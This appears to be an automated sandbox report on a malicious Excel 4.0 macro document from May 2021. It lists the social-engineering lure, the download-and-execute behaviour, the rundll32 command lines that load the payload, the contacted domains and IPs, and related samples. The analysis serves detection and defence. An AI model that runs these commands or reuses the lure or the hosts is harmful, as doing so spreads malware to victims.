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Analysis Report 32154f4c_by_Libranalysis

Overview

General Information

Sample Name:	32154f4c_by_Libranalysis (renamed file extension from none to xls)
Analysis ID:	412197
MD5:	32154f4c3997c4c3d695bf52704e5302
SHA1:	4e47b10ce837d78b31bbcf5b37622488a8c436c9
SHA256:	c92b6793b9457a9f0909c33a41f04a6d34389dce626d5eabcec7a2384270f53b
Tags:	SilentBuilder
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Found abnormal large hidden Excel 4.0 Macro sheet

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document contains embedded VBA macros

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 552 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 2384 cmdline: rundll32 ..\ritofm.cvm,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2320 cmdline: rundll32 ..\ritofm.cvm1,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\ritofm.cvm,DllRegisterServer, CommandLine: rundll32 ..\ritofm.cvm,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 552, ProcessCommandLine: rundll32 ..\ritofm.cvm,DllRegisterServer, ProcessId: 2384

Signature Overview

Click to jump to signature section

Show All Signature Results

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 192.185.39.58:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.32.232:443 -> 192.168.2.22:49170 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Source: global traffic

DNS query: name: signifysystem.com

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 192.185.39.58:443

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 192.185.39.58:443

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ

Jump to behavior

Source: rundll32.exe, 00000002.00000002.2125982272.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2119847061.0000000001AB0000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: unknown

DNS traffic detected: queries for: signifysystem.com

Source: E0F5C59F9FA661F6F4C50B87FEF3A15A.0.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: 77EC63BDA74BD0D0E0426DC8F8008506.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000002.00000002.2125982272.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2119847061.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000002.00000002.2125982272.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2119847061.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000002.00000002.2126172665.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2120044976.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000002.00000002.2126172665.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2120044976.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: rundll32.exe, 00000002.00000002.2126172665.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2120044976.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000002.00000002.2126172665.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2120044976.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000002.00000002.2125982272.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2119847061.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000002.00000002.2126172665.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2120044976.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000002.00000002.2125982272.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2119847061.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000003.00000002.2119847061.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443

Source: unknown	HTTPS traffic detected: 192.185.39.58:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.32.232:443 -> 192.168.2.22:49170 version: TLS 1.2

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 11 from the yellow bar above 12 13 Once You have Enable Editing, pleas' " ' "
Source: Screenshot number: 8	Screenshot OCR: Enable Editing 11 1 from the yellow bar above 12 13 2 Once You have Enable Editing, please click
Source: Screenshot number: 8	Screenshot OCR: Enable Content 14 , from the yellow bar above 15 D e 16 17 I 18 I WHY I CANNOT OPEN THIS DOCUME
Source: Document image extraction number: 5	Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing, please click Enable Content
Source: Document image extraction number: 5	Screenshot OCR: Enable Content from the yellow bar above WHY I CANNOT OPEN THIS DOCUMENT? You are using iOS or An
Source: Document image extraction number: 14	Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing, please click Enable Conte
Source: Document image extraction number: 14	Screenshot OCR: Enable Content from the yellow bar above WHY I CANNOT OPEN THIS DOCUMENT? w You are using IDS or

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: 32154f4c_by_Libranalysis.xls	Initial sample: CALL
Source: 32154f4c_by_Libranalysis.xls	Initial sample: CALL
Source: 32154f4c_by_Libranalysis.xls	Initial sample: EXEC

Found abnormal large hidden Excel 4.0 Macro sheet

Show sources

Source: 32154f4c_by_Libranalysis.xls

Initial sample: Sheet size: 14902

Source: 32154f4c_by_Libranalysis.xls

OLE indicator, VBA macros: true

Source: rundll32.exe, 00000002.00000002.2125982272.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2119847061.0000000001AB0000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal68.expl.evad.winXLS@5/11@2/2

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\05FE0000

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVREB19.tmp

Jump to behavior

Source: 32154f4c_by_Libranalysis.xls

OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ritofm.cvm,DllRegisterServer

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ritofm.cvm,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ritofm.cvm1,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ritofm.cvm,DllRegisterServer	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\ritofm.cvm1,DllRegisterServer	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting21	Path Interception	Process Injection1	Masquerading1	OS Credential Dumping	File and Directory Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution23	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	System Information Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Rundll321	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Ingress Tool Transfer1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting21	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
32154f4c_by_Libranalysis.xls	4%	ReversingLabs

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
signifysystem.com	0%	Virustotal		Browse
fcventasyservicios.cl	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
signifysystem.com	192.185.39.58	true	false	0%, Virustotal, Browse	unknown
fcventasyservicios.cl	192.185.32.232	true	false	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000002.00000002.2126172665.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2120044976.0000000001C97000.00000002.00000001.sdmp	false		high
http://www.windows.com/pctv.	rundll32.exe, 00000003.00000002.2119847061.0000000001AB0000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000002.00000002.2125982272.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2119847061.0000000001AB0000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000002.00000002.2125982272.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2119847061.0000000001AB0000.00000002.00000001.sdmp	false		high
http://www.icra.org/vocabulary/.	rundll32.exe, 00000002.00000002.2126172665.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2120044976.0000000001C97000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000002.00000002.2126172665.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2120044976.0000000001C97000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000002.00000002.2125982272.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2119847061.0000000001AB0000.00000002.00000001.sdmp	false		high
http://investor.msn.com/	rundll32.exe, 00000002.00000002.2125982272.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2119847061.0000000001AB0000.00000002.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.185.39.58	signifysystem.com	United States		46606	UNIFIEDLAYER-AS-1US	false
192.185.32.232	fcventasyservicios.cl	United States		46606	UNIFIEDLAYER-AS-1US	false

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	412197
Start date:	12.05.2021
Start time:	13:35:17
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	32154f4c_by_Libranalysis (renamed file extension from none to xls)
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.expl.evad.winXLS@5/11@2/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Excluded IPs from analysis (whitelisted): 192.35.177.64, 2.20.143.16, 2.20.142.209 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, audownload.windowsupdate.nsatc.net, apps.digsigtrust.com, ctldl.windowsupdate.com, a767.dscg3.akamai.net, apps.identrust.com, au-bg-shim.trafficmanager.net Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
192.185.39.58	9659e9a8_by_Libranalysis.xls	Get hash	malicious	Browse
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse
192.185.32.232	9659e9a8_by_Libranalysis.xls	Get hash	malicious	Browse
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
signifysystem.com	9659e9a8_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.39.58
fcventasyservicios.cl	9659e9a8_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
UNIFIEDLAYER-AS-1US	9659e9a8_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	457b22da_by_Libranalysis.exe	Get hash	malicious	Browse	192.232.222.43
	abc8a77f_by_Libranalysis.xlsx	Get hash	malicious	Browse	67.20.76.71
	Revised Invoice pdf.exe	Get hash	malicious	Browse	192.185.171.219
	DINTEC HCU24021ED.exe	Get hash	malicious	Browse	162.241.169.22
	dd9097e7_by_Libranalysis.exe	Get hash	malicious	Browse	192.185.171.219
	RFQ.exe	Get hash	malicious	Browse	192.185.129.32
	Order 122001-220 guanzo.exe	Get hash	malicious	Browse	162.241.62.63
	in.exe	Get hash	malicious	Browse	162.241.244.112
	PO-002755809-NO#PRT101 Order pdf.exe	Get hash	malicious	Browse	162.144.13.239
	catalog-1908475637.xls	Get hash	malicious	Browse	108.167.180.164
	catalog-1908475637.xls	Get hash	malicious	Browse	108.167.180.164
	export of purchase order 7484876.xlsm	Get hash	malicious	Browse	108.179.232.90
	XM7eDjwHqp.xlsm	Get hash	malicious	Browse	162.241.190.216
	QTFsui5pLN.xlsm	Get hash	malicious	Browse	108.179.232.90
	15j1TCnOiA.xlsm	Get hash	malicious	Browse	192.185.115.105
	e8eRhf3GM0.xlsm	Get hash	malicious	Browse	162.241.190.216
	SOA PDF.exe	Get hash	malicious	Browse	192.185.226.148
UNIFIEDLAYER-AS-1US	9659e9a8_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232
	457b22da_by_Libranalysis.exe	Get hash	malicious	Browse	192.232.222.43
	abc8a77f_by_Libranalysis.xlsx	Get hash	malicious	Browse	67.20.76.71
	Revised Invoice pdf.exe	Get hash	malicious	Browse	192.185.171.219
	DINTEC HCU24021ED.exe	Get hash	malicious	Browse	162.241.169.22
	dd9097e7_by_Libranalysis.exe	Get hash	malicious	Browse	192.185.171.219
	RFQ.exe	Get hash	malicious	Browse	192.185.129.32
	Order 122001-220 guanzo.exe	Get hash	malicious	Browse	162.241.62.63
	in.exe	Get hash	malicious	Browse	162.241.244.112
	PO-002755809-NO#PRT101 Order pdf.exe	Get hash	malicious	Browse	162.144.13.239
	catalog-1908475637.xls	Get hash	malicious	Browse	108.167.180.164
	catalog-1908475637.xls	Get hash	malicious	Browse	108.167.180.164
	export of purchase order 7484876.xlsm	Get hash	malicious	Browse	108.179.232.90
	XM7eDjwHqp.xlsm	Get hash	malicious	Browse	162.241.190.216
	QTFsui5pLN.xlsm	Get hash	malicious	Browse	108.179.232.90
	15j1TCnOiA.xlsm	Get hash	malicious	Browse	192.185.115.105
	e8eRhf3GM0.xlsm	Get hash	malicious	Browse	162.241.190.216
	SOA PDF.exe	Get hash	malicious	Browse	192.185.226.148

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	46747509_by_Libranalysis.xls	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	catalog-1908475637.xls	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	DHL AWB.xlsx	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	export of purchase order 7484876.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	XM7eDjwHqp.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	QTFsui5pLN.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	15j1TCnOiA.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	e8eRhf3GM0.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	Purchase Agreement.docx	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	551f47ac_by_Libranalysis.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	export of document 555091.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	generated purchase order 6149057.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	fax 4044.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	scan of document 5336227.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	check 24994.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	generated check 8460.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	export of check 209162.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	generated purchase order 045950.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	export of bill 896621.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58
	invoice 85046.xlsm	Get hash	malicious	Browse	192.185.32.232 192.185.39.58

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 59863 bytes, 1 file
Category:	dropped
Size (bytes):	59863
Entropy (8bit):	7.99556910241083
Encrypted:	true
SSDEEP:	1536:Gs6cdy9E/ABKQPOrdweEz480zdPMHXNY/gLHfIZN:GNOqOrdDdJPAX1LHA/
MD5:	15775D95513782F99CDFB17E65DFCEB1
SHA1:	6C11F8BEE799B093F9FF4841E31041B081B23388
SHA-256:	477A9559194EDF48848FCE59E05105168745A46BDC0871EA742A2588CA9FBE00
SHA-512:	AC09CE01122D7A837BD70277BADD58FF71D8C5335F8FC599D5E3ED42C8FEE2108DD043BCE562C82BA12A81B9B08BD24B961C0961BF8FD3A0B8341C87483CD1E7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........b.........R.i .authroot.stl.qqp.4..CK..8T....c_.d....A.F....m"...AH)-.%.QIR..$t)Kd.-QQ..~.L.2.L........sx.}...~....$....yy.A.8;....\|.%OV.a0xN....9..C..t.z.,X...,..1Qj,.p.E.y..ac`.<.e.c.aZW..B.jy....^]..+)..!...r.X:.O.. ..Y..j.^.8C........n7R....p!\|_.+..<...A.Wt.=. .sV..`.9O...CD./.s.\#.t#..s..Jeiu..B$.....8..(g..tJ....=,...r.d.].xqX4.......g.lF...Mn.y".W.R....K\..P.n._..7...........@pm.. Q....(#.....=.)...1..kC.`......AP8.A..<....7S.L....S...^.R.).hqS...DK.6.j....u_.0.(4g.....!,.L`......h:.a]?......J9.\..Ww........%........4E.......q.QA.0.M<.&.^aD.....,..]....5.....\../ d.F>.V........_.J....."....wI..'..z...j..Ds....Z...[..........N<.d.?<....b..,...n......;....YK.X..0..Z.....?...9.3.+9T.%.l...5.YK.E.V...aD.0...Y../e.7...c..g....A..=.....+..u2..X.~....O....\=...&...U.e...?...z....$.)S..T...r.!?M..;.....r,QH.B <.(t..8s3..u[.N8gL.%...v....f...W.y...cz-.EQ.....c...o..n........D..........2.

